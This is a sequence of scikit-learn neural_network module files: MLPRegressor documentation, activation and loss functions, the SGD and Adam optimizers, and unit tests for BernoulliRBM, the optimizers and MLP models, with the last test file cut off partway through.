        - 'l-bfgs' is an optimization algorithm in the family of
          quasi-Newton methods.

        - 'sgd' refers to stochastic gradient descent.

        - 'adam' refers to a stochastic gradient-based optimization algorithm
          proposed by Kingma, Diederik, and Jimmy Ba

        Note: The default algorithm 'adam' works pretty well on relatively
        large datasets (with thousands of training samples or more) in terms of
        both training time and validation score.
        For small datasets, however, 'l-bfgs' can converge faster and perform
        better.

    alpha : float, optional, default 0.0001
        L2 penalty (regularization term) parameter.

    batch_size : int, optional, default 'auto'
        Size of minibatches for stochastic optimizers.
        If the algorithm is 'l-bfgs', the classifier will not use minibatch.
        When set to "auto", `batch_size=min(200, n_samples)`

    learning_rate : {'constant', 'invscaling', 'adaptive'}, default 'constant'
        Learning rate schedule for weight updates.

        - 'constant' is a constant learning rate given by
          'learning_rate_init'.

        - 'invscaling' gradually decreases the learning rate ``learning_rate_``
          at each time step 't' using an inverse scaling exponent of 'power_t'.
          effective_learning_rate = learning_rate_init / pow(t, power_t)

        - 'adaptive' keeps the learning rate constant to
          'learning_rate_init' as long as training loss keeps decreasing.
          Each time two consecutive epochs fail to decrease training loss by at
          least tol, or fail to increase validation score by at least tol if
          'early_stopping' is on, the current learning rate is divided by 5.

        Only used when algorithm='sgd'.

    max_iter : int, optional, default 200
        Maximum number of iterations. The algorithm iterates until convergence
        (determined by 'tol') or this number of iterations.

    random_state : int or RandomState, optional, default None
        State or seed for random number generator.

    shuffle : bool, optional, default True
        Whether to shuffle samples in each iteration. Only used when
        algorithm='sgd' or 'adam'.

    tol : float, optional, default 1e-4
        Tolerance for the optimization. When the loss or score is not improving
        by at least tol for two consecutive iterations, unless `learning_rate`
        is set to 'adaptive', convergence is considered to be reached and
        training stops.

    learning_rate_init : double, optional, default 0.001
        The initial learning rate used. It controls the step-size
        in updating the weights. Only used when algorithm='sgd' or 'adam'.

    power_t : double, optional, default 0.5
        The exponent for inverse scaling learning rate.
        It is used in updating effective learning rate when the learning_rate
        is set to 'invscaling'. Only used when algorithm='sgd'.

    verbose : bool, optional, default False
        Whether to print progress messages to stdout.

    warm_start : bool, optional, default False
        When set to True, reuse the solution of the previous
        call to fit as initialization, otherwise, just erase the
        previous solution.

    momentum : float, default 0.9
        Momentum for gradient descent update.  Should be between 0 and 1. Only
        used when algorithm='sgd'.

    nesterovs_momentum : boolean, default True
        Whether to use Nesterov's momentum. Only used when algorithm='sgd' and
        momentum > 0.

    early_stopping : bool, default False
        Whether to use early stopping to terminate training when validation
        score is not improving. If set to true, it will automatically set
        aside 10% of training data as validation and terminate training when
        validation score is not improving by at least tol for two consecutive
        epochs.
        Only effective when algorithm='sgd' or 'adam'

    validation_fraction : float, optional, default 0.1
        The proportion of training data to set aside as validation set for
        early stopping. Must be between 0 and 1.
        Only used if early_stopping is True

    beta_1 : float, optional, default 0.9
        Exponential decay rate for estimates of first moment vector in adam,
        should be in [0, 1). Only used when algorithm='adam'

    beta_2 : float, optional, default 0.999
        Exponential decay rate for estimates of second moment vector in adam,
        should be in [0, 1). Only used when algorithm='adam'

    epsilon : float, optional, default 1e-8
        Value for numerical stability in adam. Only used when algorithm='adam'

    Attributes
    ----------
    `loss_` : float
        The current loss computed with the loss function.

    `coefs_` : list, length n_layers - 1
        The ith element in the list represents the weight matrix corresponding
        to layer i.

    `intercepts_` : list, length n_layers - 1
        The ith element in the list represents the bias vector corresponding to
        layer i + 1.

    n_iter_ : int,
        The number of iterations the algorithm has ran.

    n_layers_ : int
        Number of layers.

    `n_outputs_` : int
        Number of outputs.

    `out_activation_` : string
        Name of the output activation function.

    Notes
    -----
    MLPRegressor trains iteratively since at each time step
    the partial derivatives of the loss function with respect to the model
    parameters are computed to update the parameters.

    It can also have a regularization term added to the loss function
    that shrinks model parameters to prevent overfitting.

    This implementation works with data represented as dense and sparse numpy
    arrays of floating point values.

    References
    ----------
    Hinton, Geoffrey E.
        "Connectionist learning procedures." Artificial intelligence 40.1
        (1989): 185-234.

    Glorot, Xavier, and Yoshua Bengio. "Understanding the difficulty of
        training deep feedforward neural networks." International Conference
        on Artificial Intelligence and Statistics. 2010.

    He, Kaiming, et al. "Delving deep into rectifiers: Surpassing human-level
        performance on imagenet classification." arXiv preprint
        arXiv:1502.01852 (2015).

    Kingma, Diederik, and Jimmy Ba. "Adam: A method for stochastic
        optimization." arXiv preprint arXiv:1412.6980 (2014).
    """
    def __init__(self, hidden_layer_sizes=(100,), activation="relu",
                 algorithm='adam', alpha=0.0001,
                 batch_size='auto', learning_rate="constant",
                 learning_rate_init=0.001,
                 power_t=0.5, max_iter=200, shuffle=True,
                 random_state=None, tol=1e-4,
                 verbose=False, warm_start=False, momentum=0.9,
                 nesterovs_momentum=True, early_stopping=False,
                 validation_fraction=0.1, beta_1=0.9, beta_2=0.999,
                 epsilon=1e-8):

        sup = super(MLPRegressor, self)
        sup.__init__(hidden_layer_sizes=hidden_layer_sizes,
                     activation=activation, algorithm=algorithm, alpha=alpha,
                     batch_size=batch_size, learning_rate=learning_rate,
                     learning_rate_init=learning_rate_init, power_t=power_t,
                     max_iter=max_iter, loss='squared_loss', shuffle=shuffle,
                     random_state=random_state, tol=tol, verbose=verbose,
                     warm_start=warm_start, momentum=momentum,
                     nesterovs_momentum=nesterovs_momentum,
                     early_stopping=early_stopping,
                     validation_fraction=validation_fraction,
                     beta_1=beta_1, beta_2=beta_2, epsilon=epsilon)

    def predict(self, X):
        """Predict using the multi-layer perceptron model.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            The input data.

        Returns
        -------
        y : array-like, shape (n_samples, n_outputs)
            The predicted values.
        """
        check_is_fitted(self, "coefs_")
        y_pred = self._decision_scores(X)
        if y_pred.shape[1] == 1:
            return y_pred.ravel()
        return y_pred

    def _validate_input(self, X, y, incremental):
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc', 'coo'],
                         multi_output=True, y_numeric=True)
        if y.ndim == 2 and y.shape[1] == 1:
            y = column_or_1d(y, warn=True)
        return X, y






"""
The :mod:`sklearn.neural_network` module includes models based on neural
networks.
"""

# License: BSD 3 clause

from .rbm import BernoulliRBM

from .multilayer_perceptron import MLPClassifier
from .multilayer_perceptron import MLPRegressor

__all__ = ["BernoulliRBM",
           "MLPClassifier",
           "MLPRegressor"]






"""Utilities for the neural network modules
"""

# Author: Issam H. Laradji <issam.laradji@gmail.com>
# License: BSD 3 clause

import numpy as np

from ..utils.fixes import expit as logistic_sigmoid


def identity(X):
    """Simply return the input array.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Data, where n_samples is the number of samples
        and n_features is the number of features.

    Returns
    -------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Same as the input data.
    """
    return X


def logistic(X):
    """Compute the logistic function inplace.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data.

    Returns
    -------
    X_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    return logistic_sigmoid(X, out=X)


def tanh(X):
    """Compute the hyperbolic tan function inplace.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data.

    Returns
    -------
    X_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    return np.tanh(X, out=X)


def relu(X):
    """Compute the rectified linear unit function inplace.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data.

    Returns
    -------
    X_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    np.clip(X, 0, np.finfo(X.dtype).max, out=X)
    return X


def softmax(X):
    """Compute the K-way softmax function inplace.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data.

    Returns
    -------
    X_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    tmp = X - X.max(axis=1)[:, np.newaxis]
    np.exp(tmp, out=X)
    X /= X.sum(axis=1)[:, np.newaxis]

    return X


ACTIVATIONS = {'identity': identity, 'tanh': tanh, 'logistic': logistic,
               'relu': relu, 'softmax': softmax}


def inplace_logistic_derivative(Z):
    """Compute the derivative of the logistic function given output value
    from logistic function

    It exploits the fact that the derivative is a simple function of the output
    value from logistic function

    Parameters
    ----------
    Z : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data which is output from logistic function

    Returns
    -------
    Z_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    return Z * (1 - Z)


def inplace_tanh_derivative(Z):
    """Compute the derivative of the hyperbolic tan function given output value
    from hyperbolic tan

    It exploits the fact that the derivative is a simple function of the output
    value from hyperbolic tan

    Parameters
    ----------
    Z : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data which is output from hyperbolic tan function

    Returns
    -------
    Z_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    return 1 - (Z ** 2)


def inplace_relu_derivative(Z):
    """Compute the derivative of the rectified linear unit function given output
    value from relu

    Parameters
    ----------
    Z : {array-like, sparse matrix}, shape (n_samples, n_features)
        The input data which is output from some relu

    Returns
    -------
    Z_new : {array-like, sparse matrix}, shape (n_samples, n_features)
        The transformed data.
    """
    return (Z > 0).astype(Z.dtype)


DERIVATIVES = {'tanh': inplace_tanh_derivative,
               'logistic': inplace_logistic_derivative,
               'relu': inplace_relu_derivative}


def squared_loss(y_true, y_pred):
    """Compute the squared loss for regression.

    Parameters
    ----------
    y_true : array-like or label indicator matrix
        Ground truth (correct) values.

    y_pred : array-like or label indicator matrix
        Predicted values, as returned by a regression estimator.

    Returns
    -------
    loss : float
        The degree to which the samples are correctly predicted.
    """
    return ((y_true - y_pred) ** 2).mean() / 2


def log_loss(y_true, y_prob):
    """Compute Logistic loss for classification.

    Parameters
    ----------
    y_true : array-like or label indicator matrix
        Ground truth (correct) labels.

    y_prob : array-like of float, shape = (n_samples, n_classes)
        Predicted probabilities, as returned by a classifier's
        predict_proba method.

    Returns
    -------
    loss : float
        The degree to which the samples are correctly predicted.
    """
    y_prob = np.clip(y_prob, 1e-10, 1 - 1e-10)

    if y_prob.shape[1] == 1:
        y_prob = np.append(1 - y_prob, y_prob, axis=1)

    if y_true.shape[1] == 1:
        y_true = np.append(1 - y_true, y_true, axis=1)

    return -np.sum(y_true * np.log(y_prob)) / y_prob.shape[0]


def binary_log_loss(y_true, y_prob):
    """Compute binary logistic loss for classification.

    This is identical to log_loss in binary classification case,
    but is kept for its use in multilabel case.

    Parameters
    ----------
    y_true : array-like or label indicator matrix
        Ground truth (correct) labels.

    y_prob : array-like of float, shape = (n_samples, n_classes)
        Predicted probabilities, as returned by a classifier's
        predict_proba method.

    Returns
    -------
    loss : float
        The degree to which the samples are correctly predicted.
    """
    y_prob = np.clip(y_prob, 1e-10, 1 - 1e-10)

    return -np.sum(y_true * np.log(y_prob) +
                   (1 - y_true) * np.log(1 - y_prob)) / y_prob.shape[0]


LOSS_FUNCTIONS = {'squared_loss': squared_loss, 'log_loss': log_loss,
                  'binary_log_loss': binary_log_loss}






"""Stochastic optimization methods for MLP
"""

# Authors:  Jiyuan Qian <jq401@nyu.edu>
# License: BSD 3 clause

import numpy as np


class BaseOptimizer(object):
    """Base (Stochastic) gradient descent optimizer

    Parameters
    ----------
    params : list, length = len(coefs_) + len(intercepts_)
        The concatenated list containing coefs_ and intercepts_ in MLP model.
        Used for initializing velocities and updating params

    learning_rate_init : float, optional, default 0.1
        The initial learning rate used. It controls the step-size in updating
        the weights

    Attributes
    ----------
    learning_rate : float
        the current learning rate
    """

    def __init__(self, params, learning_rate_init=0.1):
        self.params = [param for param in params]
        self.learning_rate_init = learning_rate_init
        self.learning_rate = float(learning_rate_init)

    def update_params(self, grads):
        """Update parameters with given gradients

        Parameters
        ----------
        grads : list, length = len(params)
            Containing gradients with respect to coefs_ and intercepts_ in MLP
            model. So length should be aligned with params
        """
        updates = self._get_updates(grads)
        for param, update in zip(self.params, updates):
            param += update

    def iteration_ends(self, time_step):
        """Perform update to learning rate and potentially other states at the
        end of an iteration
        """
        pass

    def trigger_stopping(self, msg, verbose):
        """Decides whether it is time to stop training

        Parameters
        ----------
        msg : str
            Message passed in for verbose output

        verbose : bool
            Print message to stdin if True

        Returns
        -------
        is_stopping : bool
            True if training needs to stop
        """
        if verbose:
            print(msg + " Stopping.")
        return True


class SGDOptimizer(BaseOptimizer):
    """Stochastic gradient descent optimizer with momentum

    Parameters
    ----------
    params : list, length = len(coefs_) + len(intercepts_)
        The concatenated list containing coefs_ and intercepts_ in MLP model.
        Used for initializing velocities and updating params

    learning_rate_init : float, optional, default 0.1
        The initial learning rate used. It controls the step-size in updating
        the weights

    lr_schedule : {'constant', 'adaptive', 'invscaling'}, default 'constant'
        Learning rate schedule for weight updates.

        -'constant', is a constant learning rate given by
         'learning_rate_init'.

        -'invscaling' gradually decreases the learning rate 'learning_rate_' at
          each time step 't' using an inverse scaling exponent of 'power_t'.
          learning_rate_ = learning_rate_init / pow(t, power_t)

        -'adaptive', keeps the learning rate constant to
         'learning_rate_init' as long as the training keeps decreasing.
         Each time 2 consecutive epochs fail to decrease the training loss by
         tol, or fail to increase validation score by tol if 'early_stopping'
         is on, the current learning rate is divided by 5.

    momentum : float, optional, default 0.9
        Value of momentum used, must be larger than or equal to 0

    nesterov : bool, optional, default True
        Whether to use nesterov's momentum or not. Use nesterov's if True

    Attributes
    ----------
    learning_rate : float
        the current learning rate

    velocities : list, length = len(params)
        velocities that are used to update params
    """

    def __init__(self, params, learning_rate_init=0.1, lr_schedule='constant',
                 momentum=0.9, nesterov=True, power_t=0.5):
        super(SGDOptimizer, self).__init__(params, learning_rate_init)

        self.lr_schedule = lr_schedule
        self.momentum = momentum
        self.nesterov = nesterov
        self.power_t = power_t
        self.velocities = [np.zeros_like(param) for param in params]

    def iteration_ends(self, time_step):
        """Perform updates to learning rate and potential other states at the
        end of an iteration

        Parameters
        ----------
        time_step : int
            number of training samples trained on so far, used to update
            learning rate for 'invscaling'
        """
        if self.lr_schedule == 'invscaling':
            self.learning_rate = (float(self.learning_rate_init) /
                                  (time_step + 1) ** self.power_t)

    def trigger_stopping(self, msg, verbose):
        if self.lr_schedule == 'adaptive':
            if self.learning_rate > 1e-6:
                self.learning_rate /= 5.
                if verbose:
                    print(msg + " Setting learning rate to %f" %
                          self.learning_rate)
                return False
            else:
                if verbose:
                    print(msg + " Learning rate too small. Stopping.")
                return True
        else:
            if verbose:
                print(msg + " Stopping.")
            return True

    def _get_updates(self, grads):
        """Get the values used to update params with given gradients

        Parameters
        ----------
        grads : list, length = len(coefs_) + len(intercepts_)
            Containing gradients with respect to coefs_ and intercepts_ in MLP
            model. So length should be aligned with params

        Returns
        -------
        updates : list, length = len(grads)
            The values to add to params
        """
        updates = [self.momentum * velocity - self.learning_rate * grad
                   for velocity, grad in zip(self.velocities, grads)]
        self.velocities = updates

        if self.nesterov:
            updates = [self.momentum * velocity - self.learning_rate * grad
                       for velocity, grad in zip(self.velocities, grads)]

        return updates


class AdamOptimizer(BaseOptimizer):
    """Stochastic gradient descent optimizer with Adam

    Note: All default values are from the original Adam paper

    Parameters
    ----------
    params : list, length = len(coefs_) + len(intercepts_)
        The concatenated list containing coefs_ and intercepts_ in MLP model.
        Used for initializing velocities and updating params

    learning_rate_init : float, optional, default 0.1
        The initial learning rate used. It controls the step-size in updating
        the weights

    beta_1 : float, optional, default 0.9
        Exponential decay rate for estimates of first moment vector, should be
        in [0, 1)

    beta_2 : float, optional, default 0.999
        Exponential decay rate for estimates of second moment vector, should be
        in [0, 1)

    epsilon : float, optional, default 1e-8
        Value for numerical stability

    Attributes
    ----------
    learning_rate : float
        The current learning rate

    t : int
        Timestep

    ms : list, length = len(params)
        First moment vectors

    vs : list, length = len(params)
        Second moment vectors

    References
    ----------
    Kingma, Diederik, and Jimmy Ba.
    "Adam: A method for stochastic optimization."
    arXiv preprint arXiv:1412.6980 (2014).
    """

    def __init__(self, params, learning_rate_init=0.001, beta_1=0.9,
                 beta_2=0.999, epsilon=1e-8):
        super(AdamOptimizer, self).__init__(params, learning_rate_init)

        self.beta_1 = beta_1
        self.beta_2 = beta_2
        self.epsilon = epsilon
        self.t = 0
        self.ms = [np.zeros_like(param) for param in params]
        self.vs = [np.zeros_like(param) for param in params]

    def _get_updates(self, grads):
        """Get the values used to update params with given gradients

        Parameters
        ----------
        grads : list, length = len(coefs_) + len(intercepts_)
            Containing gradients with respect to coefs_ and intercepts_ in MLP
            model. So length should be aligned with params

        Returns
        -------
        updates : list, length = len(grads)
            The values to add to params
        """
        self.t += 1
        self.ms = [self.beta_1 * m + (1 - self.beta_1) * grad
                   for m, grad in zip(self.ms, grads)]
        self.vs = [self.beta_2 * v + (1 - self.beta_2) * (grad ** 2)
                   for v, grad in zip(self.vs, grads)]
        self.learning_rate = (self.learning_rate_init *
                              np.sqrt(1 - self.beta_2 ** self.t) /
                              (1 - self.beta_1 ** self.t))
        updates = [-self.learning_rate * m / (np.sqrt(v) + self.epsilon)
                   for m, v in zip(self.ms, self.vs)]
        return updates






import sys
import re

import numpy as np
from scipy.sparse import csc_matrix, csr_matrix, lil_matrix
from sklearn.utils.testing import (assert_almost_equal, assert_array_equal,
                                   assert_true)

from sklearn.datasets import load_digits
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.neural_network import BernoulliRBM
from sklearn.utils.validation import assert_all_finite
np.seterr(all='warn')

Xdigits = load_digits().data
Xdigits -= Xdigits.min()
Xdigits /= Xdigits.max()


def test_fit():
    X = Xdigits.copy()

    rbm = BernoulliRBM(n_components=64, learning_rate=0.1,
                       batch_size=10, n_iter=7, random_state=9)
    rbm.fit(X)

    assert_almost_equal(rbm.score_samples(X).mean(), -21., decimal=0)

    # in-place tricks shouldn't have modified X
    assert_array_equal(X, Xdigits)


def test_partial_fit():
    X = Xdigits.copy()
    rbm = BernoulliRBM(n_components=64, learning_rate=0.1,
                       batch_size=20, random_state=9)
    n_samples = X.shape[0]
    n_batches = int(np.ceil(float(n_samples) / rbm.batch_size))
    batch_slices = np.array_split(X, n_batches)

    for i in range(7):
        for batch in batch_slices:
            rbm.partial_fit(batch)

    assert_almost_equal(rbm.score_samples(X).mean(), -21., decimal=0)
    assert_array_equal(X, Xdigits)


def test_transform():
    X = Xdigits[:100]
    rbm1 = BernoulliRBM(n_components=16, batch_size=5,
                        n_iter=5, random_state=42)
    rbm1.fit(X)

    Xt1 = rbm1.transform(X)
    Xt2 = rbm1._mean_hiddens(X)

    assert_array_equal(Xt1, Xt2)


def test_small_sparse():
    # BernoulliRBM should work on small sparse matrices.
    X = csr_matrix(Xdigits[:4])
    BernoulliRBM().fit(X)       # no exception


def test_small_sparse_partial_fit():
    for sparse in [csc_matrix, csr_matrix]:
        X_sparse = sparse(Xdigits[:100])
        X = Xdigits[:100].copy()

        rbm1 = BernoulliRBM(n_components=64, learning_rate=0.1,
                            batch_size=10, random_state=9)
        rbm2 = BernoulliRBM(n_components=64, learning_rate=0.1,
                            batch_size=10, random_state=9)

        rbm1.partial_fit(X_sparse)
        rbm2.partial_fit(X)

        assert_almost_equal(rbm1.score_samples(X).mean(),
                            rbm2.score_samples(X).mean(),
                            decimal=0)


def test_sample_hiddens():
    rng = np.random.RandomState(0)
    X = Xdigits[:100]
    rbm1 = BernoulliRBM(n_components=2, batch_size=5,
                        n_iter=5, random_state=42)
    rbm1.fit(X)

    h = rbm1._mean_hiddens(X[0])
    hs = np.mean([rbm1._sample_hiddens(X[0], rng) for i in range(100)], 0)

    assert_almost_equal(h, hs, decimal=1)


def test_fit_gibbs():
    # Gibbs on the RBM hidden layer should be able to recreate [[0], [1]]
    # from the same input
    rng = np.random.RandomState(42)
    X = np.array([[0.], [1.]])
    rbm1 = BernoulliRBM(n_components=2, batch_size=2,
                        n_iter=42, random_state=rng)
    # you need that much iters
    rbm1.fit(X)
    assert_almost_equal(rbm1.components_,
                        np.array([[0.02649814], [0.02009084]]), decimal=4)
    assert_almost_equal(rbm1.gibbs(X), X)
    return rbm1


def test_fit_gibbs_sparse():
    # Gibbs on the RBM hidden layer should be able to recreate [[0], [1]] from
    # the same input even when the input is sparse, and test against non-sparse
    rbm1 = test_fit_gibbs()
    rng = np.random.RandomState(42)
    from scipy.sparse import csc_matrix
    X = csc_matrix([[0.], [1.]])
    rbm2 = BernoulliRBM(n_components=2, batch_size=2,
                        n_iter=42, random_state=rng)
    rbm2.fit(X)
    assert_almost_equal(rbm2.components_,
                        np.array([[0.02649814], [0.02009084]]), decimal=4)
    assert_almost_equal(rbm2.gibbs(X), X.toarray())
    assert_almost_equal(rbm1.components_, rbm2.components_)


def test_gibbs_smoke():
    # Check if we don't get NaNs sampling the full digits dataset.
    # Also check that sampling again will yield different results.
    X = Xdigits
    rbm1 = BernoulliRBM(n_components=42, batch_size=40,
                        n_iter=20, random_state=42)
    rbm1.fit(X)
    X_sampled = rbm1.gibbs(X)
    assert_all_finite(X_sampled)
    X_sampled2 = rbm1.gibbs(X)
    assert_true(np.all((X_sampled != X_sampled2).max(axis=1)))


def test_score_samples():
    # Test score_samples (pseudo-likelihood) method.
    # Assert that pseudo-likelihood is computed without clipping.
    # See Fabian's blog, http://bit.ly/1iYefRk
    rng = np.random.RandomState(42)
    X = np.vstack([np.zeros(1000), np.ones(1000)])
    rbm1 = BernoulliRBM(n_components=10, batch_size=2,
                        n_iter=10, random_state=rng)
    rbm1.fit(X)
    assert_true((rbm1.score_samples(X) < -300).all())

    # Sparse vs. dense should not affect the output. Also test sparse input
    # validation.
    rbm1.random_state = 42
    d_score = rbm1.score_samples(X)
    rbm1.random_state = 42
    s_score = rbm1.score_samples(lil_matrix(X))
    assert_almost_equal(d_score, s_score)

    # Test numerical stability (#2785): would previously generate infinities
    # and crash with an exception.
    with np.errstate(under='ignore'):
        rbm1.score_samples([np.arange(1000) * 100])


def test_rbm_verbose():
    rbm = BernoulliRBM(n_iter=2, verbose=10)
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        rbm.fit(Xdigits)
    finally:
        sys.stdout = old_stdout


def test_sparse_and_verbose():
    # Make sure RBM works with sparse input when verbose=True
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    from scipy.sparse import csc_matrix
    X = csc_matrix([[0.], [1.]])
    rbm = BernoulliRBM(n_components=2, batch_size=2, n_iter=1,
                       random_state=42, verbose=True)
    try:
        rbm.fit(X)
        s = sys.stdout.getvalue()
        # make sure output is sound
        assert_true(re.match(r"\[BernoulliRBM\] Iteration 1,"
                             r" pseudo-likelihood = -?(\d)+(\.\d+)?,"
                             r" time = (\d|\.)+s",
                             s))
    finally:
        sys.stdout = old_stdout












import numpy as np

from sklearn.neural_network._stochastic_optimizers import (BaseOptimizer,
                                                           SGDOptimizer,
                                                           AdamOptimizer)
from sklearn.utils.testing import (assert_array_equal, assert_true,
                                   assert_false, assert_equal)


shapes = [(4, 6), (6, 8), (7, 8, 9)]


def test_base_optimizer():
    params = [np.zeros(shape) for shape in shapes]

    for lr in [10 ** i for i in range(-3, 4)]:
        optimizer = BaseOptimizer(params, lr)
        assert_true(optimizer.trigger_stopping('', False))


def test_sgd_optimizer_no_momentum():
    params = [np.zeros(shape) for shape in shapes]

    for lr in [10 ** i for i in range(-3, 4)]:
        optimizer = SGDOptimizer(params, lr, momentum=0, nesterov=False)
        grads = [np.random.random(shape) for shape in shapes]
        expected = [param - lr * grad for param, grad in zip(params, grads)]
        optimizer.update_params(grads)

        for exp, param in zip(expected, optimizer.params):
            assert_array_equal(exp, param)


def test_sgd_optimizer_momentum():
    params = [np.zeros(shape) for shape in shapes]
    lr = 0.1

    for momentum in np.arange(0.5, 0.9, 0.1):
        optimizer = SGDOptimizer(params, lr, momentum=momentum, nesterov=False)
        velocities = [np.random.random(shape) for shape in shapes]
        optimizer.velocities = velocities
        grads = [np.random.random(shape) for shape in shapes]
        updates = [momentum * velocity - lr * grad
                   for velocity, grad in zip(velocities, grads)]
        expected = [param + update for param, update in zip(params, updates)]
        optimizer.update_params(grads)

        for exp, param in zip(expected, optimizer.params):
            assert_array_equal(exp, param)


def test_sgd_optimizer_trigger_stopping():
    params = [np.zeros(shape) for shape in shapes]
    lr = 2e-6
    optimizer = SGDOptimizer(params, lr, lr_schedule='adaptive')
    assert_false(optimizer.trigger_stopping('', False))
    assert_equal(lr / 5, optimizer.learning_rate)
    assert_true(optimizer.trigger_stopping('', False))


def test_sgd_optimizer_nesterovs_momentum():
    params = [np.zeros(shape) for shape in shapes]
    lr = 0.1

    for momentum in np.arange(0.5, 0.9, 0.1):
        optimizer = SGDOptimizer(params, lr, momentum=momentum, nesterov=True)
        velocities = [np.random.random(shape) for shape in shapes]
        optimizer.velocities = velocities
        grads = [np.random.random(shape) for shape in shapes]
        updates = [momentum * velocity - lr * grad
                   for velocity, grad in zip(velocities, grads)]
        updates = [momentum * update - lr * grad
                   for update, grad in zip(updates, grads)]
        expected = [param + update for param, update in zip(params, updates)]
        optimizer.update_params(grads)

        for exp, param in zip(expected, optimizer.params):
            assert_array_equal(exp, param)


def test_adam_optimizer():
    params = [np.zeros(shape) for shape in shapes]
    lr = 0.001
    epsilon = 1e-8

    for beta_1 in np.arange(0.9, 1.0, 0.05):
        for beta_2 in np.arange(0.995, 1.0, 0.001):
            optimizer = AdamOptimizer(params, lr, beta_1, beta_2, epsilon)
            ms = [np.random.random(shape) for shape in shapes]
            vs = [np.random.random(shape) for shape in shapes]
            t = 10
            optimizer.ms = ms
            optimizer.vs = vs
            optimizer.t = t - 1
            grads = [np.random.random(shape) for shape in shapes]

            ms = [beta_1 * m + (1 - beta_1) * grad
                  for m, grad in zip(ms, grads)]
            vs = [beta_2 * v + (1 - beta_2) * (grad ** 2)
                  for v, grad in zip(vs, grads)]
            learning_rate = lr * np.sqrt(1 - beta_2 ** t) / (1 - beta_1**t)
            updates = [-learning_rate * m / (np.sqrt(v) + epsilon)
                       for m, v in zip(ms, vs)]
            expected = [param + update
                        for param, update in zip(params, updates)]

            optimizer.update_params(grads)
            for exp, param in zip(expected, optimizer.params):
                assert_array_equal(exp, param)






"""
Testing for Multi-layer Perceptron module (sklearn.neural_network)
"""

# Author: Issam H. Laradji
# License: BSD 3 clause

import sys
import warnings

import numpy as np

from numpy.testing import assert_almost_equal, assert_array_equal

from sklearn.datasets import load_digits, load_boston
from sklearn.datasets import make_regression, make_multilabel_classification
from sklearn.externals.six.moves import cStringIO as StringIO
from sklearn.metrics import roc_auc_score
from sklearn.neural_network import MLPClassifier
from sklearn.neural_network import MLPRegressor
from sklearn.preprocessing import LabelBinarizer
from sklearn.preprocessing import StandardScaler, MinMaxScaler
from scipy.sparse import csr_matrix
from sklearn.utils.testing import (assert_raises, assert_greater, assert_equal,
                                   assert_false)


np.seterr(all='warn')

ACTIVATION_TYPES = ["logistic", "tanh", "relu"]

digits_dataset_multi = load_digits(n_class=3)

X_digits_multi = MinMaxScaler().fit_transform(digits_dataset_multi.data[:200])
y_digits_multi = digits_dataset_multi.target[:200]

digits_dataset_binary = load_digits(n_class=2)

X_digits_binary = MinMaxScaler().fit_transform(
    digits_dataset_binary.data[:200])
y_digits_binary = digits_dataset_binary.target[:200]

classification_datasets = [(X_digits_multi, y_digits_multi),
                           (X_digits_binary, y_digits_binary)]

boston = load_boston()

Xboston = StandardScaler().fit_transform(boston.data)[: 200]
yboston = boston.target[:200]


def test_alpha():
    # Test that larger alpha yields weights closer to zero"""
    X = X_digits_binary[:100]
    y = y_digits_binary[:100]

    alpha_vectors = []
    alpha_values = np.arange(2)
    absolute_sum = lambda x: np.sum(np.abs(x))

    for alpha in alpha_values:
        mlp = MLPClassifier(hidden_layer_sizes=10, alpha=alpha, random_state=1)
        mlp.fit(X, y)
        alpha_vectors.append(np.array([absolute_sum(mlp.coefs_[0]),
                                       absolute_sum(mlp.coefs_[1])]))

    for i in range(len(alpha_values) - 1):
        assert (alpha_vectors[i] > alpha_vectors[i + 1]).all()


def test_fit():
    # Test that the algorithm solution is equal to a worked out example."""
    X = np.array([[0.6, 0.8, 0.7]])
    y = np.array([0])
    mlp = MLPClassifier(algorithm='sgd', learning_rate_init=0.1, alpha=0.1,
                        activation='logistic', random_state=1, max_iter=1,
                        hidden_layer_sizes=2, momentum=0)
    # set weights
    mlp.coefs_ = [0] * 2
    mlp.intercepts_ = [0] * 2
    mlp.classes_ = [0, 1]
    mlp.n_outputs_ = 1
    mlp.coefs_[0] = np.array([[0.1, 0.2], [0.3, 0.1], [0.5, 0]])
    mlp.coefs_[1] = np.array([[0.1], [0.2]])
    mlp.intercepts_[0] = np.array([0.1, 0.1])
    mlp.intercepts_[1] = np.array([1.0])
    mlp._coef_grads = [] * 2
    mlp._intercept_grads = [] * 2

    mlp.label_binarizer_.y_type_ = 'binary'

    # Initialize parameters
    mlp.n_iter_ = 0
    mlp.learning_rate_ = 0.1

    # Compute the number of layers
    mlp.n_layers_ = 3

    # Pre-allocate gradient matrices
    mlp._coef_grads = [0] * (mlp.n_layers_ - 1)
    mlp._intercept_grads = [0] * (mlp.n_layers_ - 1)

    mlp.out_activation_ = 'logistic'
    mlp.t_ = 0
    mlp.best_loss_ = np.inf
    mlp.loss_curve_ = []
    mlp._no_improvement_count = 0
    mlp._intercept_velocity = [np.zeros_like(intercepts) for
                               intercepts in
                               mlp.intercepts_]
    mlp._coef_velocity = [np.zeros_like(coefs) for coefs in
                          mlp.coefs_]

    mlp.partial_fit(X, y, classes=[0, 1])
    # Manually worked out example
    # h1 = g(X1 * W_i1 + b11) = g(0.6 * 0.1 + 0.8 * 0.3 + 0.7 * 0.5 + 0.1)
    #       =  0.679178699175393
    # h2 = g(X2 * W_i2 + b12) = g(0.6 * 0.2 + 0.8 * 0.1 + 0.7 * 0 + 0.1)
